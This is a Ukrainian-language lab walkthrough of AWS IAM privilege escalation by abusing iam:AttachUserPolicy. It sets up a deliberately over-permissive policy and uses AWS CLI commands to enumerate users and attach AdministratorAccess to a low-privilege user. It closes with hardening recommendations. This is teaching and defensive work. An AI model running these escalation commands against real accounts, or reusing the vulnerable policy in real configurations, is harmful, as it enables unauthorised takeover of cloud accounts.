Хмарні обчислення надають багато переваг, але також створюють ризики для безпеки, такі як зловживання сервісами та неправильна конфігурація політик IAM. Зокрема, мова йде про можливість приєднання політик користувачів (attach user policies) у хмарних середовищах під час роботи з постачальниками керованих послуг. Ця лабораторна робота демонструє зловживання дозволом IAM AttachUserPolicy, який приєднує вказану керовану політику до вказаного користувача IAM. Маючи цей дозвіл, користувач може підвищити свої власні привілеї або привілеї інших осіб, призначаючи політики доступу високого рівня.
Зміст
- Про IAM AttachUserPolicy
- Налаштування лабораторії та попередні вимоги
- Частина 1: Налаштування лабораторії IAM
- Створення надмірно поблажливої політики (Overly Permissive Policy)
- Створення користувача IAM із призначенням поблажливої політики
- Частина 2: Перерахунок та експлуатація
- Сценарій використання (Use Case) для AttachUserPolicy
- Налаштування та перерахунок профілю за допомогою AWS CLI
- Ескалація привілеїв через IAM AttachUserPolicy
- Аналіз
- Рекомендації
- Висновок
Про iam:AttachUserPolicy
Користувач із дозволом iam:AttachUserPolicy може приєднувати потужні керовані політики, такі як AdministratorAccess, до себе або до інших. Без обмежень на рівні ресурсів (resource restrictions) це може призвести до ескалації привілеїв та отримання повного адміністративного доступу до середовища AWS. Для отримання додаткової інформації про типи політик див. розділ Керовані політики та вбудовані політики у Посібнику користувача IAM.
Налаштування лабораторії та попередні вимоги:
- Акаунт AWS
- VM Kali Linux
Частина 1: Налаштування лабораторії IAM
Нижче наведено інструкції з налаштування середовища. Ми скористаємося консоллю AWS та налаштуємо інтерфейс командного рядка AWS (CLI).
Користувач: lgt_komal
Назва політики: Vuln_attached_policy
Створення надмірно поблажливої політики
Щоб налаштувати керовану політику:
- Перейдіть до IAM > Policies (Політики) > Create policy (Створити політику).

-
Визначте дозволи у редакторі політик (Policy Editor). Напишіть власну політику, яка надає певні адміністративні дозволи, що пізніше будуть використані як шлях до ескалації привілеїв.
-
Effect (Ефект): Allow -> Надає дозволи, а не забороняє.
-
Resource (Ресурс): ”*” -> Застосовується до всіх ресурсів в акаунті.
Дії (Actions):
- iam:List — Виводить список ресурсів IAM, таких як користувачі, ролі та політики.*
- iam:Get — Отримує детальну інформацію про ресурси IAM.*
- iam:SimulatePrincipalPolicy — Симулює дозволи IAM, щоб перевірити, які дії може виконувати суб’єкт (для аудиту/тестування).
- iam:AttachUserPolicy — Приєднує керовані політики до користувачів, що дозволяє ескалацію привілеїв у разі зловживання.
- iam:CreatePolicyVersion — Створює нові версії існуючих політик.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:List*",
"iam:Get*",
"iam:SimulatePrincipalPolicy",
"iam:AttachUserPolicy"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"iam:CreatePolicyVersion"
],
"Resource": "arn:aws:iam::*: policy/vul_attached_policy"
}
]
}
Ось як виглядає політика в редакторі. Натисніть Create policy (Створити політику) після додавання деталей, таких як назва Vuln_attached_policy, як показано на скріншоті.

Створення користувача IAM із призначенням поблажливої політики
Перейдіть до IAM > Users > Create user. Введіть дані користувача (наприклад, lgt_komal), потім виберіть Attach policies directly (Приєднати політики безпосередньо) у розділі Permissions options на етапі налаштування дозволів. Виберіть Vuln_attached_policy зі списку та натисніть Next.

Частина 2: Перерахунок та експлуатація
Сценарій використання (Use Case) для AttachUserPolicy
AttachUserPolicy дозволяє безпосередньо пов’язувати керовані політики IAM із конкретним користувачем. Хоча це не є ідеальним для великомасштабних або робочих (production) середовищ, цей метод служить певним практичним цілям під час тестування або в контрольованих середовищах.
Цей підхід часто використовується для:
- Тестування або усунення несправностей із доступом.
- Швидкого надання дозволів без зміни груп або ролей.
- Тонкого налаштування контролю в невеликих або ізольованих середовищах.
Налаштування та перерахунок профілю за допомогою AWS CLI
По-перше, налаштуйте профіль із назвою lgt_komal в інтерфейсі командного рядка AWS (AWS CLI).
aws configure set profile.Igt_komal.aws_access_key_id AKI
Призначення Access Key ID, Secret Access Key та регіону за замовчуванням (Default Region) для цього профілю. Це дозволить профілю lgt_komal діяти від імені користувача IAM у майбутньому.
aws configure set profile.Igt_komal.aws_secret_access_key W+ft
aws configure set profile.Igt_komal.region us-east-1
Наступна команда отримає інформацію про ідентифікацію (UserId, Account ID, ARN) для поточного автентифікованого користувача через цей профіль.
aws sts get-caller-identity --profile Igt_komal
Команда, наведена нижче, виведе список усіх керованих політик, приєднаних до користувача lgt_komal. Результат чітко показує, що користувач має одну приєднану політику, а саме — vuln_attached_policy. Зверніть увагу на PolicyArn, виділений на скріншоті.
aws iam list-attached-user-policies --user-name Igt_komal --profile Igt_komal

Потім виведіть список усіх доступних версій політики Vuln_attached_policy за допомогою наступної команди. Результат чітко показує, що версія v1 встановлена як Default, тобто вона є активною.
aws iam list-policy-versions --policy-arn arn:aws:iam::513869214449:policy/vuln_attached_policy --profile Igt_komal
Виконання цієї команди надає повну інформацію про конкретну версію політики IAM, таку як версія політики, дата створення тощо.
Зверніть увагу, що результат показує надмірно поблажливу політику з вайлдкардами (*) як для iam:List та iam:Get, так і для iam:AttachUserPolicy. Це прямий ризик ескалації привілеїв.
aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/vuln_attached_policy --version-id v1 --profile Igt_komal

Далі виконайте наступну команду, щоб вивести список користувачів IAM. Результат включає імена користувачів, їхні ID та ARN — це дозволяє виділити lgt_admin як потенційну ціль.
aws iam list-users --profile Igt_komal

Тепер виведіть список політик, приєднаних до admin_role (або цільового адміністратора), за допомогою наступної команди. Результат показує наявність AdministratorAccess.
aws iam list-attached-user-policies --user-name Igt_admin --profile Igt_komal

Ескалація привілеїв через IAM AttachUserPolicy
Справжня гра починається з виконання цієї команди: користувач lgt_komal намагається створити іншого користувача lgt_hacker, але ця дія відхиляється (Denied), оскільки жодна політика, заснована на ідентичності (identity-based policy), не дозволяє цього.
aws iam create-user --user-name Igt_hacker --profile Igt_komal

Наступна команда приєднує потужну керовану політику AdministratorAccess до користувача IAM lgt_komal. Це і є момент експлуатації вразливості.
aws iam attach-user-policy --user-name Igt_komal --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile Igt_komal

Тепер виконання наступної команди підтверджує наявність у користувача прав AdministratorAccess, оскільки вона виводить усі політики, приєднані до lgt_komal.
aws iam list-attached-user-policies --user-name Igt_komal --profile Igt_komal
Спробуйте виконати попередню команду ще раз — і цього разу вона завершиться успішно. Тепер ви можете створювати користувачів, видаляти ресурси або змінювати будь-які налаштування в акаунті.
aws iam create-user --user-name Igt_hacker --profile Igt_komal

Вітаємо!! Ви успішно продемонстрували ескалацію привілеїв через зловживання дозволом AttachUserPolicy.
Аналіз
Користувач lgt_komal успішно підвищив свої привілеї з обмеженого доступу до повного адміністративного контролю над акаунтом AWS, скориставшись дозволом iam:AttachUserPolicy — це класичне зловживання неправильною конфігурацією IAM. Вектор атаки (escalation path) виглядав так:
Низькопривілейований користувач IAM → Приєднання AdministratorAccess через iam:AttachUserPolicy → Повні права адміністратора → Компрометація акаунта AWS
Рекомендації
- Мінімізація прав: Уникайте надання користувачам таких дозволів, як iam:AttachUserPolicy, без крайньої потреби.
- Груповий доступ: Призначайте дозволи через ролі (Roles) або групи (Groups) замість прямого приєднання політик до окремих користувачів.
- Примусове від’єднання: Негайно від’єднайте високої привілейовані політики від низькопривілейованих облікових записів.
- Моніторинг: Використовуйте AWS CloudTrail у зв’язці з Amazon CloudWatch, щоб налаштувати сповіщення (Alerts) про події ескалації привілеїв.
- Регулярний аудит: Проводьте періодичні аудити IAM для виявлення невикористовуваних або ризикованих політик.
Висновок
Ця лабораторна вправа демонструє критичний ризик безпеки в AWS через неправильно налаштовані дозволи IAM. Цей тип ескалації не покладається на традиційні вразливості ПЗ або експлуайти; натомість слабкі межі дозволів (permission boundaries) можуть призвести до повної компрометації інфраструктури.